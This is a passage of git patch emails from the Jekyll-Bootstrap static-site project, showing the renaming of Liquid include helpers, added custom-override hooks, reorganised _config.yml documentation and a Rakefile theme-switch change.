include JB/categories_list example: <ul> {% assign categories_list = site.categories %} - {% include helpers/categories_list.html %} + {% include JB/categories_list %} </ul> Notes: diff --git a/_includes/JB/liquid_raw b/_includes/JB/liquid_raw index 54a15e4..0bd9598 100644 --- a/_includes/JB/liquid_raw +++ b/_includes/JB/liquid_raw @@ -11,7 +11,7 @@ intend to give liquid examples. It's not an elegant by any means: Usage: 1) Define a 'text' variable with the block of liquid code you intend to display. - 2) Pass the text variable to include helpers/liquid_raw.html. + 2) Pass the text variable to include JB/liquid_raw example: {% capture text %}|.% for tag in tags_list %.| @@ -19,7 +19,7 @@ Usage: |.% endfor %.| |.% assign tags_list = null %.|{% endcapture %} - {% include helpers/liquid_raw.html %} + {% include JB/liquid_raw %} As seen here, you must use "|." and ".|" as opening and closing brackets. -->{% endcomment%} diff --git a/_includes/JB/pages_list b/_includes/JB/pages_list index 0e9ba87..c247a42 100644 --- a/_includes/JB/pages_list +++ b/_includes/JB/pages_list @@ -2,11 +2,11 @@ The pages_list include is a listing helper. Usage: 1) assign the 'pages_list' variable to a valid array of pages or posts. - 2) include helpers/pages_list.html. + 2) include JB/pages_list example: <ul> {% assign pages_list = site.pages %} - {% include helpers/pages_list.html %} + {% include JB/pages_list %} </ul> Grouping: (optional): diff --git a/_includes/JB/posts_collate b/_includes/JB/posts_collate index 42adef7..4b344aa 100644 --- a/_includes/JB/posts_collate +++ b/_includes/JB/posts_collate @@ -2,10 +2,10 @@ Collate_posts helper. Collated posts by year and month. Usage: 1) assign the 'posts_collate' variable to a valid array of posts. - 2) include helpers/posts_collate.html. + 2) include JB/posts_collate example: {% assign posts_collate = site.posts %} - {% include helpers/posts_collate.html %} + {% include JB/posts_collate %} Ordering: Posts are displayed in reverse chronological order. diff --git a/_includes/JB/tags_list b/_includes/JB/tags_list index f0ee45f..38725f3 100644 --- a/_includes/JB/tags_list +++ b/_includes/JB/tags_list @@ -2,11 +2,11 @@ The tags_list include is a listing helper for tags. Usage: 1) assign the 'tags_list' variable to a valid array of tags. - 2) include helpers/tags_list.html. + 2) include JB/tags_list example: <ul> {% assign tags_list = site.tags %} - {% include helpers/tags_list.html %} + {% include JB/tags_list %} </ul> Notes: diff --git a/_includes/themes/mark-reid/post.html b/_includes/themes/mark-reid/post.html index 45b5984..76cbaed 100644 --- a/_includes/themes/mark-reid/post.html +++ b/_includes/themes/mark-reid/post.html @@ -3,7 +3,7 @@ <h1 class="emphnext">{{ page.title }}</h1> <ul class="tag_box inline"> {% assign tags_list = page.tags %} - {% include helpers/tags_list.html %} + {% include JB/tags_list %} </ul> {{ content }} diff --git a/_includes/themes/the-minimum/post.html b/_includes/themes/the-minimum/post.html index 9b5316b..4e6f11c 100644 --- a/_includes/themes/the-minimum/post.html +++ b/_includes/themes/the-minimum/post.html @@ -24,12 +24,12 @@ <h1 class="h2 entry-title">{{ page.title }}</h1> <ul class="list-category list-linear"> <li class="list-head">category: </li> {% assign categories_list = page.categories %} - {% include helpers/categories_list.html %} + {% include JB/categories_list %} </ul> <ul class="list-tag list-linear"> <li class="list-head">tags: </li> {% assign tags_list = page.tags %} - {% include helpers/tags_list.html %} + {% include JB/tags_list %} </ul> </div><!-- meta --> </div><!-- entry-content --> diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html index 953ec63..cb1f306 100644 --- a/_includes/themes/twitter/default.html +++ b/_includes/themes/twitter/default.html @@ -33,7 +33,7 @@ <ul class="nav"> {% assign pages_list = site.pages %} {% assign group = 'navigation' %} - {% include helpers/pages_list.html %} + {% include JB/pages_list %} </ul> </div> </div> diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index ebf66ca..3c22eb2 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -33,7 +33,7 @@ <h4>Published</h4> <h4>Tags</h4> <ul class="tag_box"> {% assign tags_list = page.tags %} - {% include helpers/tags_list.html %} + {% include JB/tags_list %} </ul> {% endunless %} </div> diff --git a/_posts/core-samples/2011-12-29-jekyll-introduction.md b/_posts/core-samples/2011-12-29-jekyll-introduction.md index 0519fb3..0722bee 100644 --- a/_posts/core-samples/2011-12-29-jekyll-introduction.md +++ b/_posts/core-samples/2011-12-29-jekyll-introduction.md @@ -242,7 +242,7 @@ Render the content variable wherever you want your main content to be injected i </div> </body> ...{% endcapture %} -{% include helpers/liquid_raw.html %} +{% include JB/liquid_raw %} ### Sub-Templates diff --git a/archive.html b/archive.html index 683459c..dc7c054 100644 --- a/archive.html +++ b/archive.html @@ -7,4 +7,4 @@ {% include JB/setup %} {% assign posts_collate = site.posts %} -{% include helpers/posts_collate.html %} \ No newline at end of file +{% include JB/posts_collate %} \ No newline at end of file diff --git a/categories.html b/categories.html index b95b0ae..cdb8789 100644 --- a/categories.html +++ b/categories.html @@ -8,7 +8,7 @@ <ul class="tag_box inline"> {% assign categories_list = site.categories %} - {% include helpers/categories_list.html %} + {% include JB/categories_list %} </ul> @@ -16,7 +16,7 @@ <h2 id="{{ category[0] }}-ref">{{ category[0] | join: "/" }}</h2> <ul> {% assign pages_list = category[1] %} - {% include helpers/pages_list.html %} + {% include JB/pages_list %} </ul> {% endfor %} diff --git a/pages.html b/pages.html index 4b298ce..bde1a32 100644 --- a/pages.html +++ b/pages.html @@ -9,5 +9,5 @@ <h2>All Pages</h2> <ul> {% assign pages_list = site.pages %} -{% include helpers/pages_list.html %} +{% include JB/pages_list %} </ul> diff --git a/tags.html b/tags.html index 6a29279..5e216cb 100644 --- a/tags.html +++ b/tags.html @@ -8,7 +8,7 @@ <ul class="tag_box inline"> {% assign tags_list = site.tags %} - {% include helpers/tags_list.html %} + {% include JB/tags_list %} </ul> @@ -16,6 +16,6 @@ <h2 id="{{ tag[0] }}-ref">{{ tag[0] }}</h2> <ul> {% assign pages_list = tag[1] %} - {% include helpers/pages_list.html %} + {% include JB/pages_list %} </ul> {% endfor %} From 08d59a6b60f5dc72b4854867ec7f6374764e9604 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 03:47:38 -0800 Subject: [PATCH 053/144] Remove all filename extenstions from JB files --- _includes/JB/analytics | 6 +++--- .../JB/analytics-engines/{getclicky.html => getclicky} | 0 _includes/JB/analytics-engines/{google.html => google} | 0 _includes/JB/comments | 10 +++++----- _includes/JB/comments-engines/{disqus.html => disqus} | 0 .../JB/comments-engines/{facebook.html => facebook} | 0 .../{intensedebate.html => intensedebate} | 0 .../JB/comments-engines/{livfyre.html => livefyre} | 0 _includes/JB/sharing | 2 +- 9 files changed, 9 insertions(+), 9 deletions(-) rename _includes/JB/analytics-engines/{getclicky.html => getclicky} (100%) rename _includes/JB/analytics-engines/{google.html => google} (100%) rename _includes/JB/comments-engines/{disqus.html => disqus} (100%) rename _includes/JB/comments-engines/{facebook.html => facebook} (100%) rename _includes/JB/comments-engines/{intensedebate.html => intensedebate} (100%) rename _includes/JB/comments-engines/{livfyre.html => livefyre} (100%) diff --git a/_includes/JB/analytics b/_includes/JB/analytics index 201eeb3..6dd2406 100644 --- a/_includes/JB/analytics +++ b/_includes/JB/analytics @@ -2,11 +2,11 @@ {% case site.JB.analytics.engine %} {% when "google" %} - {% include JB/analytics-engines/google.html %} + {% include JB/analytics-engines/google %} {% when "getclicky" %} - {% include JB/analytics-engines/getclicky.html %} + {% include JB/analytics-engines/getclicky %} {% when "custom" %} - {% include custom/analytics.html %} + {% include custom/analytics %} {% endcase %} {% endif %} \ No newline at end of file diff --git a/_includes/JB/analytics-engines/getclicky.html b/_includes/JB/analytics-engines/getclicky similarity index 100% rename from _includes/JB/analytics-engines/getclicky.html rename to _includes/JB/analytics-engines/getclicky diff --git a/_includes/JB/analytics-engines/google.html b/_includes/JB/analytics-engines/google similarity index 100% rename from _includes/JB/analytics-engines/google.html rename to _includes/JB/analytics-engines/google diff --git a/_includes/JB/comments b/_includes/JB/comments index 088f5b2..81cddea 100644 --- a/_includes/JB/comments +++ b/_includes/JB/comments @@ -2,15 +2,15 @@ {% case site.JB.comments.engine %} {% when "disqus" %} - {% include JB/comments-engines/disqus.html %} + {% include JB/comments-engines/disqus %} {% when "livefyre" %} - {% include JB/comments-engines/livefyre.html %} + {% include JB/comments-engines/livefyre %} {% when "intensedebate" %} - {% include JB/comments-engines/intensedebate.html %} + {% include JB/comments-engines/intensedebate %} {% when "facebook" %} - {% include JB/comments-engines/facebook.html %} + {% include JB/comments-engines/facebook %} {% when "custom" %} - {% include custom/comments.html %} + {% include custom/comments %} {% endcase %} {% endif %} \ No newline at end of file diff --git a/_includes/JB/comments-engines/disqus.html b/_includes/JB/comments-engines/disqus similarity index 100% rename from _includes/JB/comments-engines/disqus.html rename to _includes/JB/comments-engines/disqus diff --git a/_includes/JB/comments-engines/facebook.html b/_includes/JB/comments-engines/facebook similarity index 100% rename from _includes/JB/comments-engines/facebook.html rename to _includes/JB/comments-engines/facebook diff --git a/_includes/JB/comments-engines/intensedebate.html b/_includes/JB/comments-engines/intensedebate similarity index 100% rename from _includes/JB/comments-engines/intensedebate.html rename to _includes/JB/comments-engines/intensedebate diff --git a/_includes/JB/comments-engines/livfyre.html b/_includes/JB/comments-engines/livefyre similarity index 100% rename from _includes/JB/comments-engines/livfyre.html rename to _includes/JB/comments-engines/livefyre diff --git a/_includes/JB/sharing b/_includes/JB/sharing index 3dbceca..8850b23 100644 --- a/_includes/JB/sharing +++ b/_includes/JB/sharing @@ -2,7 +2,7 @@ {% case site.JB.sharing.engine %} {% when "custom" %} - {% include custom/sharing.html %} + {% include custom/sharing %} {% endcase %} {% endif %} \ No newline at end of file From 6c0b6c1a1b643d5ffebd2577e98b44db58df09ec Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 04:15:46 -0800 Subject: [PATCH 054/144] Provide custom overrides to all helpers Now all helpers can be overridden by custom implementations without editing JB source. Just define a helper's 'engine' as 'custom' in the _config.yml file and provide a helper file of the same name in _includes/custom/. This helps users cleanly upgrade JB versions since they no longer need to edit the files directly. --- _includes/JB/categories_list | 29 +++++++++++--------- _includes/JB/liquid_raw | 9 ++++--- _includes/JB/pages_list | 30 ++++++++++----------- _includes/JB/posts_collate | 51 +++++++++++++++++++----------------- _includes/JB/setup | 27 ++++++++++--------- _includes/JB/tags_list | 21 ++++++++------- 6 files changed, 91 insertions(+), 76 deletions(-) diff --git a/_includes/JB/categories_list b/_includes/JB/categories_list index 218f525..96d2f36 100644 --- a/_includes/JB/categories_list +++ b/_includes/JB/categories_list @@ -17,18 +17,21 @@ Usage: This helper can be seen in use at: ../_layouts/default.html -->{% endcomment %} -{% if categories_list.first[0] == null %} - {% for category in categories_list %} - <li><a href="{{ BASE_PATH }}{{ site.var.categories_path }}#{{ category }}-ref"> - {{ category | join: "/" }} <span>{{ site.categories[category].size }}</span> - </a></li> - {% endfor %} +{% if site.JB.categories_list.engine == "custom" %} + {% include custom/categories_list %} {% else %} - {% for category in categories_list %} - <li><a href="{{ BASE_PATH }}{{ site.var.categories_path }}#{{ category[0] }}-ref"> - {{ category[0] | join: "/" }} <span>{{ category[1].size }}</span> - </a></li> - {% endfor %} + {% if categories_list.first[0] == null %} + {% for category in categories_list %} + <li><a href="{{ BASE_PATH }}{{ site.var.categories_path }}#{{ category }}-ref"> + {{ category | join: "/" }} <span>{{ site.categories[category].size }}</span> + </a></li> + {% endfor %} + {% else %} + {% for category in categories_list %} + <li><a href="{{ BASE_PATH }}{{ site.var.categories_path }}#{{ category[0] }}-ref"> + {{ category[0] | join: "/" }} <span>{{ category[1].size }}</span> + </a></li> + {% endfor %} + {% endif %} {% endif %} - -{% assign categories_list = null %} +{% assign categories_list = nil %} \ No newline at end of file diff --git a/_includes/JB/liquid_raw b/_includes/JB/liquid_raw index 0bd9598..869e9a1 100644 --- a/_includes/JB/liquid_raw +++ b/_includes/JB/liquid_raw @@ -24,6 +24,9 @@ Usage: As seen here, you must use "|." and ".|" as opening and closing brackets. -->{% endcomment%} -<pre><code>{{text | replace:"|.", "{" | replace:".|", "}" | replace:">", ">" | replace:"<", "<" }}</code></pre> - -{% assign text = null %} \ No newline at end of file +{% if site.JB.liquid_raw.engine == "custom" %} + {% include custom/liquid_raw %} +{% else %} + <pre><code>{{text | replace:"|.", "{" | replace:".|", "}" | replace:">", ">" | replace:"<", "<" }}</code></pre> +{% endif %} +{% assign text = nil %} \ No newline at end of file diff --git a/_includes/JB/pages_list b/_includes/JB/pages_list index c247a42..07cb058 100644 --- a/_includes/JB/pages_list +++ b/_includes/JB/pages_list @@ -20,18 +20,18 @@ Usage: This helper can be seen in use at: ../_layouts/default.html -->{% endcomment %} - -{% for node in pages_list %} - {% if group == null or group == node.group %} - - {% if page.url == node.url %} - <li class="active"><a href="{{ BASE_PATH }}{{node.url}}" class="active">{{node.title}}</a></li> - {% else %} - <li><a href="{{ BASE_PATH }}{{node.url}}">{{node.title}}</a></li> - {% endif %} - - {% endif %} -{% endfor %} - -{% assign pages_list = null %} -{% assign group = null %} +{% if site.JB.pages_list.engine == "custom" %} + {% include custom/pages_list %} +{% else %} + {% for node in pages_list %} + {% if group == null or group == node.group %} + {% if page.url == node.url %} + <li class="active"><a href="{{ BASE_PATH }}{{node.url}}" class="active">{{node.title}}</a></li> + {% else %} + <li><a href="{{ BASE_PATH }}{{node.url}}">{{node.title}}</a></li> + {% endif %} + {% endif %} + {% endfor %} +{% endif %} +{% assign pages_list = nil %} +{% assign group = nil %} \ No newline at end of file diff --git a/_includes/JB/posts_collate b/_includes/JB/posts_collate index 4b344aa..588c6fe 100644 --- a/_includes/JB/posts_collate +++ b/_includes/JB/posts_collate @@ -17,36 +17,39 @@ Usage: -->{% endcomment %} -{% for post in posts_collate %} - {% capture this_year %}{{ post.date | date: "%Y" }}{% endcapture %} - {% capture this_month %}{{ post.date | date: "%B" }}{% endcapture %} - {% capture next_year %}{{ post.previous.date | date: "%Y" }}{% endcapture %} - {% capture next_month %}{{ post.previous.date | date: "%B" }}{% endcapture %} +{% if site.JB.posts_collate.engine == "custom" %} + {% include custom/posts_collate %} +{% else %} + {% for post in posts_collate %} + {% capture this_year %}{{ post.date | date: "%Y" }}{% endcapture %} + {% capture this_month %}{{ post.date | date: "%B" }}{% endcapture %} + {% capture next_year %}{{ post.previous.date | date: "%Y" }}{% endcapture %} + {% capture next_month %}{{ post.previous.date | date: "%B" }}{% endcapture %} - {% if forloop.first %} - <h2>{{this_year}}</h2> - <h3>{{this_month}}</h3> - <ul> - {% endif %} + {% if forloop.first %} + <h2>{{this_year}}</h2> + <h3>{{this_month}}</h3> + <ul> + {% endif %} - <li><span>{{ post.date | date: "%B %e, %Y" }}</span> » <a href="{{ BASE_PATH }}{{ post.url }}">{{ post.title }}</a></li> + <li><span>{{ post.date | date: "%B %e, %Y" }}</span> » <a href="{{ BASE_PATH }}{{ post.url }}">{{ post.title }}</a></li> - {% if forloop.last %} - </ul> - {% else %} - {% if this_year != next_year %} + {% if forloop.last %} </ul> - <h2>{{next_year}}</h2> - <h3>{{next_month}}</h3> - <ul> - {% else %} - {% if this_month != next_month %} + {% else %} + {% if this_year != next_year %} </ul> + <h2>{{next_year}}</h2> <h3>{{next_month}}</h3> <ul> + {% else %} + {% if this_month != next_month %} + </ul> + <h3>{{next_month}}</h3> + <ul> + {% endif %} {% endif %} {% endif %} - {% endif %} -{% endfor %} - -{% assign posts_collate = null %} + {% endfor %} +{% endif %} +{% assign posts_collate = nil %} \ No newline at end of file diff --git a/_includes/JB/setup b/_includes/JB/setup index 30342fe..ce7ce7d 100644 --- a/_includes/JB/setup +++ b/_includes/JB/setup @@ -2,18 +2,21 @@ <!-- - Dynamically set liquid variables for working with URLs/paths --> - {% if site.safe and site.JB.BASE_PATH %} - {% assign BASE_PATH = site.JB.BASE_PATH %} - {% assign HOME_PATH = site.JB.BASE_PATH %} + {% if site.JB.setup.engine == "custom" %} + {% include custom/setup %} {% else %} - {% assign BASE_PATH = nil %} - {% assign HOME_PATH = "/" %} - {% endif %} - - {% if site.JB.ASSET_PATH %} - {% assign ASSET_PATH = site.JB.ASSET_PATH %} - {% else %} - {% capture ASSET_PATH %}{{ BASE_PATH }}/assets/themes/{{ page.theme.name }}{% endcapture %} - {% endif %} + {% if site.safe and site.JB.BASE_PATH %} + {% assign BASE_PATH = site.JB.BASE_PATH %} + {% assign HOME_PATH = site.JB.BASE_PATH %} + {% else %} + {% assign BASE_PATH = nil %} + {% assign HOME_PATH = "/" %} + {% endif %} + {% if site.JB.ASSET_PATH %} + {% assign ASSET_PATH = site.JB.ASSET_PATH %} + {% else %} + {% capture ASSET_PATH %}{{ BASE_PATH }}/assets/themes/{{ page.theme.name }}{% endcapture %} + {% endif %} + {% endif %} {% endcapture %}{% assign jbcache = nil %} \ No newline at end of file diff --git a/_includes/JB/tags_list b/_includes/JB/tags_list index 38725f3..a6d68e8 100644 --- a/_includes/JB/tags_list +++ b/_includes/JB/tags_list @@ -17,14 +17,17 @@ Usage: This helper can be seen in use at: ../_layouts/default.html -->{% endcomment %} -{% if tags_list.first[0] == null %} - {% for tag in tags_list %} - <li><a href="{{ BASE_PATH }}{{ site.var.tags_path }}#{{ tag }}-ref">{{ tag }} <span>{{ site.tags[tag].size }}</span></a></li> - {% endfor %} +{% if site.JB.tags_list.engine == "custom" %} + {% include custom/tags_list %} {% else %} - {% for tag in tags_list %} - <li><a href="{{ BASE_PATH }}{{ site.var.tags_path }}#{{ tag[0] }}-ref">{{ tag[0] }} <span>{{ tag[1].size }}</span></a></li> - {% endfor %} + {% if tags_list.first[0] == null %} + {% for tag in tags_list %} + <li><a href="{{ BASE_PATH }}{{ site.var.tags_path }}#{{ tag }}-ref">{{ tag }} <span>{{ site.tags[tag].size }}</span></a></li> + {% endfor %} + {% else %} + {% for tag in tags_list %} + <li><a href="{{ BASE_PATH }}{{ site.var.tags_path }}#{{ tag[0] }}-ref">{{ tag[0] }} <span>{{ tag[1].size }}</span></a></li> + {% endfor %} + {% endif %} {% endif %} - -{% assign tags_list = null %} +{% assign tags_list = nil %} From 3f0579cc7c1090ccd31308807ac011e8cc56057d Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 05:00:46 -0800 Subject: [PATCH 055/144] Place paths to main pages in JB hash --- _config.yml | 15 ++++++++------- _includes/JB/categories_list | 4 ++-- _includes/JB/tags_list | 4 ++-- _includes/themes/twitter/post.html | 2 +- 4 files changed, 13 insertions(+), 12 deletions(-) diff --git a/_config.yml b/_config.yml index d6f681c..6af557d 100644 --- a/_config.yml +++ b/_config.yml @@ -3,11 +3,6 @@ permalink: /:categories/:year/:month/:day/:title auto: true pygments: true -var: - archive_path: /archive.html - categories_path : /categories.html - tags_path : /tags.html - rss_path: /atom.xml production_url : http://username.github.com # or your custom domain name title : Jekyll Bootstrap @@ -40,8 +35,14 @@ JB : # /assets # ASSET_PATH : false - - + + # These paths are to the main pages Jekyll-Bootstrap ships with. + # Some JB helpers refer to these paths; change theme here if needed. + # + archive_path: /archive.html + categories_path : /categories.html + tags_path : /tags.html + comments : engine : disqus disqus : diff --git a/_includes/JB/categories_list b/_includes/JB/categories_list index 96d2f36..1f7e45b 100644 --- a/_includes/JB/categories_list +++ b/_includes/JB/categories_list @@ -22,13 +22,13 @@ Usage: {% else %} {% if categories_list.first[0] == null %} {% for category in categories_list %} - <li><a href="{{ BASE_PATH }}{{ site.var.categories_path }}#{{ category }}-ref"> + <li><a href="{{ BASE_PATH }}{{ site.JB.categories_path }}#{{ category }}-ref"> {{ category | join: "/" }} <span>{{ site.categories[category].size }}</span> </a></li> {% endfor %} {% else %} {% for category in categories_list %} - <li><a href="{{ BASE_PATH }}{{ site.var.categories_path }}#{{ category[0] }}-ref"> + <li><a href="{{ BASE_PATH }}{{ site.JB.categories_path }}#{{ category[0] }}-ref"> {{ category[0] | join: "/" }} <span>{{ category[1].size }}</span> </a></li> {% endfor %} diff --git a/_includes/JB/tags_list b/_includes/JB/tags_list index a6d68e8..9a93d90 100644 --- a/_includes/JB/tags_list +++ b/_includes/JB/tags_list @@ -22,11 +22,11 @@ Usage: {% else %} {% if tags_list.first[0] == null %} {% for tag in tags_list %} - <li><a href="{{ BASE_PATH }}{{ site.var.tags_path }}#{{ tag }}-ref">{{ tag }} <span>{{ site.tags[tag].size }}</span></a></li> + <li><a href="{{ BASE_PATH }}{{ site.JB.tags_path }}#{{ tag }}-ref">{{ tag }} <span>{{ site.tags[tag].size }}</span></a></li> {% endfor %} {% else %} {% for tag in tags_list %} - <li><a href="{{ BASE_PATH }}{{ site.var.tags_path }}#{{ tag[0] }}-ref">{{ tag[0] }} <span>{{ tag[1].size }}</span></a></li> + <li><a href="{{ BASE_PATH }}{{ site.JB.tags_path }}#{{ tag[0] }}-ref">{{ tag[0] }} <span>{{ tag[1].size }}</span></a></li> {% endfor %} {% endif %} {% endif %} diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index 3c22eb2..416af10 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -13,7 +13,7 @@ <h1>{{ page.title }} <small>Supporting tagline</small></h1> {% else %} <li class="prev disabled"><a>← Previous</a></li> {% endif %} - <li><a href="{{ BASE_PATH }}{{site.var.archive_path}}">Archive</a></li> + <li><a href="{{ BASE_PATH }}{{ site.JB.archive_path }}">Archive</a></li> {% if page.next %} <li class="next"><a href="{{ BASE_PATH }}{{ page.next.url }}" title="{{ page.next.title }}">Next →</a></li> {% else %} From 9b3a325a72431e7ed243eb00343a29da3a8164ab Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 05:11:59 -0800 Subject: [PATCH 056/144] Document and reorganize _config.yml --- _config.yml | 58 ++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 48 insertions(+), 10 deletions(-) diff --git a/_config.yml b/_config.yml index 6af557d..0b9aa43 100644 --- a/_config.yml +++ b/_config.yml @@ -1,12 +1,25 @@ # This is the default format. # For more see: https://github.com/mojombo/jekyll/wiki/Permalinks permalink: /:categories/:year/:month/:day/:title + +exclude: [".rbenv-version", "README.md", "Rakefile"] auto: true pygments: true -production_url : http://username.github.com # or your custom domain name -title : Jekyll Bootstrap +# The production_url is only used when full-domain names are needed +# such as sitemap.txt +# Most places will/should use BASE_PATH to make the urls +# +# If you have set a CNAME (pages.github.com) set your custom domain here. +# Else if you are pushing to username.github.com, replace with your username. +# Finally if you are pushing to a GitHub project page, include the project name at the end. +# +production_url : http://username.github.com +# Themes are encouraged to use these universal variables +# so be sure to set them if your theme uses them. +# +title : Jekyll Bootstrap author : name : Name Lastname email : blah@email.test @@ -14,9 +27,8 @@ author : twitter : username feedburner : feedname -exclude: [".rbenv-version", "README.md", "Rakefile"] - -# Jekyll-Bootstrap configurations +# All Jekyll-Bootstrap specific configurations are namespaced into this hash +# JB : # All links will be namespaced by BASE_PATH if defined. @@ -24,6 +36,9 @@ JB : # If you are deploying this website for one of your GitHub projects # you must set BASE_PATH to the name of your GitHub project. # + # Leave this blank if you have defined a CNAME for your site (pages.github.com) + # NOTE: When in localhost, your site will run from root "/" regardless of BASE_PATH + # BASE_PATH : "/narly" # By default, the asset_path is automatically defined relative to BASE_PATH plus the enabled theme. @@ -38,11 +53,15 @@ JB : # These paths are to the main pages Jekyll-Bootstrap ships with. # Some JB helpers refer to these paths; change theme here if needed. - # + # archive_path: /archive.html categories_path : /categories.html tags_path : /tags.html - + + # Settings for comments helper + # Set 'engine' to the comment engine you want to use. + # Set 'engine' to false to turn commenting off globally. + # comments : engine : disqus disqus : @@ -54,7 +73,10 @@ JB : facebook : apikey : 123 - + # Settings for analytics helper + # Set 'engine' to the analytics engine you want to use. + # Set 'engine' to false to turn analytics off globally. + # analytics : engine : google google : @@ -62,6 +84,22 @@ JB : getclicky : site_id : - + # Settings for sharing helper. + # Sharing is for things like tweet, plusone, like, reddit buttons etc. + # Set 'engine' to the sharing engine you want to use. + # Set 'engine' to false to turn sharing off globally. + # sharing : - engine : false \ No newline at end of file + engine : false + + # Settings for all other include helpers can be defined by creating + # a hash with key named for the given helper. ex: + # + # pages_list : + # engine : "custom" + # + # Setting any helper's engine to 'custom' will bypass the helper code + # and include your custom code. Your custom file must be defined at: + # ./_includes/custom/[HELPER] + # where [HELPER] is the name of the helper you are overriding. + \ No newline at end of file From 240271634da68308d52790e24376f6cc95515ce5 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 05:29:18 -0800 Subject: [PATCH 057/144] production url should be close to JB --- _config.yml | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/_config.yml b/_config.yml index 0b9aa43..628da7c 100644 --- a/_config.yml +++ b/_config.yml @@ -6,16 +6,6 @@ exclude: [".rbenv-version", "README.md", "Rakefile"] auto: true pygments: true -# The production_url is only used when full-domain names are needed -# such as sitemap.txt -# Most places will/should use BASE_PATH to make the urls -# -# If you have set a CNAME (pages.github.com) set your custom domain here. -# Else if you are pushing to username.github.com, replace with your username. -# Finally if you are pushing to a GitHub project page, include the project name at the end. -# -production_url : http://username.github.com - # Themes are encouraged to use these universal variables # so be sure to set them if your theme uses them. # @@ -27,6 +17,16 @@ author : twitter : username feedburner : feedname +# The production_url is only used when full-domain names are needed +# such as sitemap.txt +# Most places will/should use BASE_PATH to make the urls +# +# If you have set a CNAME (pages.github.com) set your custom domain here. +# Else if you are pushing to username.github.com, replace with your username. +# Finally if you are pushing to a GitHub project page, include the project name at the end. +# +production_url : http://username.github.com + # All Jekyll-Bootstrap specific configurations are namespaced into this hash # JB : From 9bd0deabd4d1dba78194b68e0d4e2c3f3853eddb Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Tue, 24 Jan 2012 02:11:01 -0800 Subject: [PATCH 058/144] Use ENV variables for switch_theme --- Rakefile | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/Rakefile b/Rakefile index 4acbf09..1b0faad 100644 --- a/Rakefile +++ b/Rakefile @@ -57,17 +57,19 @@ task :page do end # task :page desc "Switch between Jekyll-bootstrap themes." -task :switch_theme, :theme do |t, args| - theme_path = File.join(CONFIG['themes'], args.theme) +task :switch_theme do + theme_name = ENV["name"].to_s + theme_path = File.join(CONFIG['themes'], theme_name) settings_file = File.join(theme_path, "settings.yml") non_layout_files = ["settings.yml"] - abort("rake aborted: '#{CONFIG['themes']}/#{args.theme}' directory not found.") unless FileTest.directory?(theme_path) + abort("rake aborted: name cannot be blank") if theme_name.empty? + abort("rake aborted: '#{theme_path}' directory not found.") unless FileTest.directory?(theme_path) abort("rake aborted: '#{CONFIG['layouts']}' directory not found.") unless FileTest.directory?(CONFIG['layouts']) Dir.glob("#{theme_path}/*") do |filename| next if non_layout_files.include?(File.basename(filename).downcase) - puts "Generating '#{args.theme}' layout: #{File.basename(filename)}" + puts "Generating '#{theme_name}' layout: #{File.basename(filename)}" open(File.join(CONFIG['layouts'], File.basename(filename)), 'w') do |page| if File.basename(filename, ".html").downcase == "default" @@ -80,7 +82,7 @@ task :switch_theme, :theme do |t, args| page.puts "---" end page.puts "{% include JB/setup %}" - page.puts "{% include themes/#{args.theme}/#{File.basename(filename)} %}" + page.puts "{% include themes/#{theme_name}/#{File.basename(filename)} %}" end end end # task :switch_theme From 065e6edbed1ee5a33ef1916bbf620f5a745c4160 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Tue, 24 Jan 2012 03:26:18 -0800 Subject: [PATCH 059/144] 'Provider' is more correct than 'engine' --- _config.yml | 22 +++++++++---------- _includes/JB/analytics | 8 +++---- .../getclicky | 0 .../google | 0 _includes/JB/categories_list | 2 +- _includes/JB/comments | 12 +++++----- .../disqus | 0 .../facebook | 0 .../intensedebate | 0 .../livefyre | 0 _includes/JB/liquid_raw | 2 +- _includes/JB/pages_list | 2 +- _includes/JB/posts_collate | 2 +- _includes/JB/setup | 2 +- _includes/JB/sharing | 4 ++-- _includes/JB/tags_list | 2 +- 16 files changed, 29 insertions(+), 29 deletions(-) rename _includes/JB/{analytics-engines => analytics-providers}/getclicky (100%) rename _includes/JB/{analytics-engines => analytics-providers}/google (100%) rename _includes/JB/{comments-engines => comments-providers}/disqus (100%) rename _includes/JB/{comments-engines => comments-providers}/facebook (100%) rename _includes/JB/{comments-engines => comments-providers}/intensedebate (100%) rename _includes/JB/{comments-engines => comments-providers}/livefyre (100%) diff --git a/_config.yml b/_config.yml index 628da7c..fab2c35 100644 --- a/_config.yml +++ b/_config.yml @@ -59,11 +59,11 @@ JB : tags_path : /tags.html # Settings for comments helper - # Set 'engine' to the comment engine you want to use. - # Set 'engine' to false to turn commenting off globally. + # Set 'provider' to the comment provider you want to use. + # Set 'provider' to false to turn commenting off globally. # comments : - engine : disqus + provider : disqus disqus : short_name : jekyllbootstrap livefyre : @@ -74,11 +74,11 @@ JB : apikey : 123 # Settings for analytics helper - # Set 'engine' to the analytics engine you want to use. - # Set 'engine' to false to turn analytics off globally. + # Set 'provider' to the analytics provider you want to use. + # Set 'provider' to false to turn analytics off globally. # analytics : - engine : google + provider : google google : tracking_id : 'UA-123-12' getclicky : @@ -86,19 +86,19 @@ JB : # Settings for sharing helper. # Sharing is for things like tweet, plusone, like, reddit buttons etc. - # Set 'engine' to the sharing engine you want to use. - # Set 'engine' to false to turn sharing off globally. + # Set 'provider' to the sharing provider you want to use. + # Set 'provider' to false to turn sharing off globally. # sharing : - engine : false + provider : false # Settings for all other include helpers can be defined by creating # a hash with key named for the given helper. ex: # # pages_list : - # engine : "custom" + # provider : 